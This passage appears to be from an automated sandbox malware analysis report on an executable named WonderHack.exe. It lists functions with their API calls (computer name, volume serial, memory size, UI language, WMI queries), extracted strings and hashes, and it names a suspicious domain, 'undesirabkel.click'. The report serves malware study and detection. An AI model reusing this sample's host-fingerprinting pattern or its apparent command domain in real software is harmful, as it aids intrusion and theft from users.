Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name
API String ID: 2070049627-1405518554
Opcode ID: cad2364fd502c883751c51667e8bf2f489f98eaa75d9d96bf54552f26ef18503
Instruction ID: fe846cd4f2d2ebc9072a00333fd92f38bf567ae9590b01c6a87f1fa1c4e931b4
Opcode Fuzzy Hash: cad2364fd502c883751c51667e8bf2f489f98eaa75d9d96bf54552f26ef18503
Instruction Fuzzy Hash: 9B417CF1A007459BEB20DF69D805B1BBBF8BF14714F044629E4099B781E77AE518CBE2

Function 001AB1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 001AB475

Strings

csm, xrefs: 001AB508
csm, xrefs: 001AB497

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 5111c8ed156619b86ea00a99035e1db0ab015c6d21ab59d7e059b95f33d8999e
Instruction ID: d6f1dc38c792c9ae552f395555b135b09450ba5b7f4b7ac62d0fe46ca434c595
Opcode Fuzzy Hash: 5111c8ed156619b86ea00a99035e1db0ab015c6d21ab59d7e059b95f33d8999e
Instruction Fuzzy Hash: 1D31287A908299EFCF268F50DCD08BA7B66FF0A314B18425AF84509123C336DDA1DB81

Function 0019B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0019B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0019B8DE

Part of subcall function 001A060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0019F354,02A72E20,?,?,?,0019F354,00193D4A,001C759C,00193D4A), ref: 001A066D

Part of subcall function 001A8353: IsProcessorFeaturePresent.KERNEL32(00000017,001AC224), ref: 001A836F

Strings

csm, xrefs: 0019B86D

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: adaa5b823e6e7ccc7e9a1d3b575741b1556c7aef1a1cf4f0d46256acf7405a2b
Instruction ID: d3e9757b9b15f0a256d54a79ac9403efd3e06a1d84bd25ec26fe0a5f3ff3bb48
Opcode Fuzzy Hash: adaa5b823e6e7ccc7e9a1d3b575741b1556c7aef1a1cf4f0d46256acf7405a2b
Instruction Fuzzy Hash: B4219F31D0421CEBCF24DF99EA85AEEB7B9EF98710F140419E506AB250CB70AD45CB91

Function 0019B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00192673

Strings

bad array new length, xrefs: 00192626
ios_base::badbit set, xrefs: 00192650

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 71311bd2d4306525a91ade24c7d34ec999939f0717a15a8e976057f4983f5c63
Instruction ID: 6f36c1e3dd84061fe9708425e123924e8210473a157506aa6b9a9c4960131e6f
Opcode Fuzzy Hash: 71311bd2d4306525a91ade24c7d34ec999939f0717a15a8e976057f4983f5c63
Instruction Fuzzy Hash: C801D4F1508301ABDB08EF18D946B5A7BE4AF1831CF51881CF4599B341E375E848CB81

Function 00192610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0019F354,02A72E20,?,?,?,0019F354,00193D4A,001C759C,00193D4A), ref: 001A066D

___std_exception_copy.LIBVCRUNTIME ref: 00192673

Strings

bad array new length, xrefs: 00192626
ios_base::badbit set, xrefs: 00192650

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 796d56cea21582d9dd6cda8977eba15198175f9414d0dc75e0a787a492cc1c0a
Instruction ID: 0de548fc39c5e74c845befe958d1c12a236234a2e8190e58eca4691071bfa0c9
Opcode Fuzzy Hash: 796d56cea21582d9dd6cda8977eba15198175f9414d0dc75e0a787a492cc1c0a
Instruction Fuzzy Hash: F2F0F8F1614341ABD704AF18E946B47BBE4EB6971CF41881CF599AB300E3B5D444CB92

Analysis Process: WonderHack.exePID: 6152, Parent PID: 4760COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	44.4%
Total number of Nodes:	261
Total number of Limit Nodes:	19

Executed Functions

Function 00431D10 Relevance: 40.4, APIs: 2, Strings: 21, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00431D59
GetSystemMetrics.USER32 ref: 00431D69

Strings

5"C, xrefs: 00431FCF
O$C, xrefs: 00431EE8
O$C, xrefs: 00431F14
O$C, xrefs: 00431F98
_(C, xrefs: 00431FC4
O$C, xrefs: 00431F40
O$C, xrefs: 00432006
O$C, xrefs: 00431FB9
O$C, xrefs: 00431FDA
O$C, xrefs: 00431FE5
O$C, xrefs: 00431F56
($C, xrefs: 00431EC7
O$C, xrefs: 00431EF3
i*C, xrefs: 00431F77
O$C, xrefs: 00431FFB
O$C, xrefs: 00431F8D
O$C, xrefs: 00431F09
O$C, xrefs: 00431F61
, xrefs: 00431E56
O$C, xrefs: 00431F35
O$C, xrefs: 00431FAE

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: MetricsSystem
String ID: $($C$5"C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$O$C$_(C$i*C
API String ID: 4116985748-3372999186
Opcode ID: 8e9cdeb4bfab84274a9669cd475aa5743967b19e075009f034f97172db1c8e9c
Instruction ID: 8d029f29b9a4e16f053ed14b1b3047fa4adeb45d898568eba0a28193ac899bff
Opcode Fuzzy Hash: 8e9cdeb4bfab84274a9669cd475aa5743967b19e075009f034f97172db1c8e9c
Instruction Fuzzy Hash: EEA16BB041C7818BE770DF18C448B9BBBE0BBC6308F51892ED5989B651C7B99848CF87

Function 00436BF0 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 718
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00436E11
SysAllocString.OLEAUT32(F5A3FBA8), ref: 00436EDA
CoSetProxyBlanket.COMBASE(D77F9D52,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00436F18
SysAllocString.OLEAUT32(68DA6AD6), ref: 00436F6D
SysAllocString.OLEAUT32(BD01C371), ref: 00437025
VariantInit.OLEAUT32(F8FBFAF5), ref: 00437097
SysFreeString.OLEAUT32(?), ref: 00437382
SysFreeString.OLEAUT32(?), ref: 00437388
SysFreeString.OLEAUT32(00000000), ref: 00437399
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004373D5

Strings

\, xrefs: 00436DCB

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: String$AllocFree$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: \
API String ID: 2247799857-2967466578
Opcode ID: 75a42a090690cbf01e55e82e48ecf76e61ca4ec783f0b790b218db4d75954228
Instruction ID: 8756ce95e963843fa03f31509ff188bcb667b0217098414990354d88698b1c24
Opcode Fuzzy Hash: 75a42a090690cbf01e55e82e48ecf76e61ca4ec783f0b790b218db4d75954228
Instruction Fuzzy Hash: 9132F1B1A483408FD724CF28C88076BBBE1EF99314F18892EE9D59B391D7789805CB56

Function 00415640 Relevance: 14.9, APIs: 1, Strings: 7, Instructions: 943
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Fi, xrefs: 00415D71
UR, xrefs: 00415AE3
>j%h, xrefs: 00415976
wq, xrefs: 00416063
s|}, xrefs: 0041606E
YU]&, xrefs: 00416170
JHN], xrefs: 00415D66

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: >j%h$Fi$JHN]$UR$YU]&$s|}$wq
API String ID: 0-2664314784
Opcode ID: 744f5921334badd97250c1c299283197a61e04fc11c6ff6aa40322fb847e4306
Instruction ID: 6413b6cc339066a55532578e80e6a8cd990dac4ee94ef104ad543d9b904f88e5
Opcode Fuzzy Hash: 744f5921334badd97250c1c299283197a61e04fc11c6ff6aa40322fb847e4306
Instruction Fuzzy Hash: 2E5224B5908740CBD7249F29D8527EFB7E1EFD5314F188A2EE48987391EB389841CB46

Function 00408720 Relevance: 7.7, APIs: 5, Instructions: 235
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408744
GetCurrentThreadId.KERNEL32 ref: 0040874E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408808
GetForegroundWindow.USER32 ref: 004089A1
ExitProcess.KERNEL32 ref: 00408A17

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 18fe486032edb0969c4fe46b9c72ea22f78cc782d11755b5447650c5aff50698
Instruction ID: 59a09f4aa6f0f146742c4b312151e509a05fd4ea0b744ce26f1448cff0f88d73
Opcode Fuzzy Hash: 18fe486032edb0969c4fe46b9c72ea22f78cc782d11755b5447650c5aff50698
Instruction Fuzzy Hash: E57168B3E043144BC318EF69DC4135AB6C79BC0714F1F813EA984EB3A5DE799C02869A

Function 0042BF45 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C34C

Strings

L,2H, xrefs: 0042BF4D
u, xrefs: 0042C364
@a, xrefs: 0042C2AF

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: @a$L,2H$u
API String ID: 3960555810-2528062038
Opcode ID: 19d08f9f7d7bed7b51ea453a9ddedc70aa30b931c2df07c4920a08e0e96f246b
Instruction ID: 260f7405a81d4791661634af8caf9a7863cff9be19d6ba05b95630b53f05b8d3
Opcode Fuzzy Hash: 19d08f9f7d7bed7b51ea453a9ddedc70aa30b931c2df07c4920a08e0e96f246b
Instruction Fuzzy Hash: 5B91D37050C3D08FD729CF3994A07ABBBD1AFA7308F58499ED4C997282D7398506CB5A

Function 0040D35C Relevance: 6.6, APIs: 2, Strings: 2, Instructions: 625
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040D368
CoUninitialize.COMBASE ref: 0040D7A4

Strings

undesirabkel.click, xrefs: 0040D78B, 0040DBDE
(P, xrefs: 0040D7B2

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: Uninitialize
String ID: (P$undesirabkel.click
API String ID: 3861434553-2994666245
Opcode ID: 806ca7b758aea85ba4256f5737dc198644c562e8fe769678b1b4da1df31b6c3a
Instruction ID: 25c0ec8a4ed120f5396a3a8eb6bdccd7f9d1ac3417b5368b8856c91530714b40
Opcode Fuzzy Hash: 806ca7b758aea85ba4256f5737dc198644c562e8fe769678b1b4da1df31b6c3a
Instruction Fuzzy Hash: 9522F37194D3C18AD335CF39D49079BBFE0AF96304F188AADC4D96B282D739450ACB96

Function 0042C289 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C34C

Strings

u, xrefs: 0042C364
@a, xrefs: 0042C2AF

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: @a$u
API String ID: 3960555810-583156259
Opcode ID: d3dcd12708497a123305e223026c5427f1c8ff29cf19f116bf7101b30c51974c
Instruction ID: fbcac5f05e551be09428fe54d577bd2475c49f62c0f93ee7e958261cddcd3d67
Opcode Fuzzy Hash: d3dcd12708497a123305e223026c5427f1c8ff29cf19f116bf7101b30c51974c
Instruction Fuzzy Hash: 4E81147050C3D08BD329CF3994A07ABBBD1AF97304F5849AED4C997382DB798506CB5A

Function 0043BAD0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043EA7B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043BAFE

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043DAA0 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

@, xrefs: 0043DAF0

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: c7a3a9d6f5937d9205306e379e1e2512675795707a895483ba62705f79feabf5
Instruction ID: a23abe0358fa0849b5f663c248be2e251b5f046dfc51c7ea43b64499bc67c0e0
Opcode Fuzzy Hash: c7a3a9d6f5937d9205306e379e1e2512675795707a895483ba62705f79feabf5
Instruction Fuzzy Hash: FF21DDB15083049FD310DF18E88066BF7F6FBCA328F15992DE58983250D335A918CB96

Function 0043C59C Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

9., xrefs: 0043C5F0

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID: 9.
API String ID: 2994545307-3220845746
Opcode ID: d0f1f6ee6bbcdd5cb9497a9d2a322c6123ac9a9efe9672d2a037b52046ddbbc1
Instruction ID: 6eaeed17bd0a61a2bdf4398491a9cff36e71a2c196544e54e2a45a99ade0a44b
Opcode Fuzzy Hash: d0f1f6ee6bbcdd5cb9497a9d2a322c6123ac9a9efe9672d2a037b52046ddbbc1
Instruction Fuzzy Hash: 34110835A006248BDB148F24DC957BB77E1FB5A324F28BA2CD851B73E1D774AC058B48

Function 00426230 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: be71ac3e148499bfd277c0229c39e24620fd1d390e69013dc2de0336fdde0987
Instruction ID: 8a02be16d1dd0dac6475031a666b285b020a312ea2db780e838c8bd6892e58d2
Opcode Fuzzy Hash: be71ac3e148499bfd277c0229c39e24620fd1d390e69013dc2de0336fdde0987
Instruction Fuzzy Hash: 30B17B71B083618BD714DF24E84263BB7E1EF95304F5A896EE88287385D63DDC06C79A

Function 0043DBB0 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 43917dd25d679a2360db25fe33f05fca1e10fe5717d787509b50d3060ef91739
Instruction ID: 0bb5358823ca19faea0024899962b23b6631256abee3cb20e7358cbf689dc8d4
Opcode Fuzzy Hash: 43917dd25d679a2360db25fe33f05fca1e10fe5717d787509b50d3060ef91739
Instruction Fuzzy Hash: 6B817736E046149BC724AF28D88167BB7A3EFD8710F19D12DE8C98B354EB34AD11C789

Function 004192C0 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 974f5bf9f7c2ad883ab0c40ffd062568f537604b809183c9cd25748ea347c1ad
Instruction ID: b6b48b49e2ce04e457aa333140cde9ad5d46efccf9dfc3f9defd0387b571751f
Opcode Fuzzy Hash: 974f5bf9f7c2ad883ab0c40ffd062568f537604b809183c9cd25748ea347c1ad
Instruction Fuzzy Hash: 335104B29042158BC7108F24DC627AB73A0FF9A368F08453AFD95873A1E7389C41C75A

Function 0043EEC0 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1fb60d2ab0036475f1a21ac8661de25c02472134cab741590145f16cccbdafbd
Instruction ID: 043cc890cb6b2b30803d39af6b3c454268537f3fae5b00cf446519d023dfd00f
Opcode Fuzzy Hash: 1fb60d2ab0036475f1a21ac8661de25c02472134cab741590145f16cccbdafbd
Instruction Fuzzy Hash: E7413975605304AFE3288F29DCC1B7BB3A6EB8D718F24552DE1C697291CAB4BC11C649

Function 0042BB78 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042BC6B

Strings

Bc, xrefs: 0042BBBF

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: ComputerName
String ID: Bc
API String ID: 3545744682-1462570906
Opcode ID: 3aabfbb2acfe00b4294bec79698ecebf390720afd694b624d3a4b38ec5fb1dca
Instruction ID: d21ba2145dfce1dde598136abf5dc27af56a14438775b07cfdeeac531dde4413
Opcode Fuzzy Hash: 3aabfbb2acfe00b4294bec79698ecebf390720afd694b624d3a4b38ec5fb1dca
Instruction Fuzzy Hash: FD21433671C3C14BD7288B30D8903EB7BE69BD6300F08896EC4DAC7682CB788105C716

Function 0042BB76 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042BC6B

Strings

Bc, xrefs: 0042BBBF

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: ComputerName
String ID: Bc
API String ID: 3545744682-1462570906
Opcode ID: b0ea433ccc87bd0089710f75a9856d74100bb132cc836629bc0de0b48e604436
Instruction ID: 01fa0ba36f839b35fcd6e2dd622a726cc2080db3413cd811b4190ceda6fabadd
Opcode Fuzzy Hash: b0ea433ccc87bd0089710f75a9856d74100bb132cc836629bc0de0b48e604436
Instruction Fuzzy Hash: 2A21467A7183814BD7288F60D8943EB7BD6EBD6310F188A3E84D6C7786DB788105C716

Function 0042BA8B Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042BB54

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: b1832b50bc4e067c21901c02df6660ac7a82aa81492bcec07771b873513592a9
Instruction ID: 7c0cb2a92540f48abc3a1f3b9dd6f3300a1bb39e022c6cb4bdfa0d1742c36f26
Opcode Fuzzy Hash: b1832b50bc4e067c21901c02df6660ac7a82aa81492bcec07771b873513592a9
Instruction Fuzzy Hash: BD2189301083D19ADB358F34A8647EBBBE4AB5B308F9808ADD0D986292CB354449DB66

Function 0042BA89 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042BB54

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 08a8afde1c203dfedb5d810fb6ddaf697584a85b127209c9ad1157771c9a3aa2
Instruction ID: 78a88c511a624ae7e063e294bf9d502777099213e96c34c8be2a539bfe37a3ea
Opcode Fuzzy Hash: 08a8afde1c203dfedb5d810fb6ddaf697584a85b127209c9ad1157771c9a3aa2
Instruction Fuzzy Hash: 6711ED3020C3909FDB259F34A8647EBBBE4EB4B318FA4086DD0DAC6292CB344444DB56

Function 0042BA45 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042BB54

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 633e805a6337594e92954413a1952304d47e04b2087e26fec29b04c7848fd167
Instruction ID: d562fb229bd74789b1cee1b8f8215a1d7ed180b9f37d07b7e23b9a3e83738be5
Opcode Fuzzy Hash: 633e805a6337594e92954413a1952304d47e04b2087e26fec29b04c7848fd167
Instruction Fuzzy Hash: 1C11C0301083909FD7659F34A8647FBBBE4EB5B318F94086DD4D9C7292CB344445DB56

Function 00435BDB Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00435C00

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 1f3a4874fe6a934c83db0129cb2c4f35d243ae89896cc335940cfab8c0206f25
Instruction ID: d529aa2c6436962cd02f9ff259ed32c9c8aa20a75f7e6bd79d554a5377992a07
Opcode Fuzzy Hash: 1f3a4874fe6a934c83db0129cb2c4f35d243ae89896cc335940cfab8c0206f25
Instruction Fuzzy Hash: 4801D2358043A58FCF118F7898442EE7FA16F1A314F18469DC8D567396D739AA01CB96

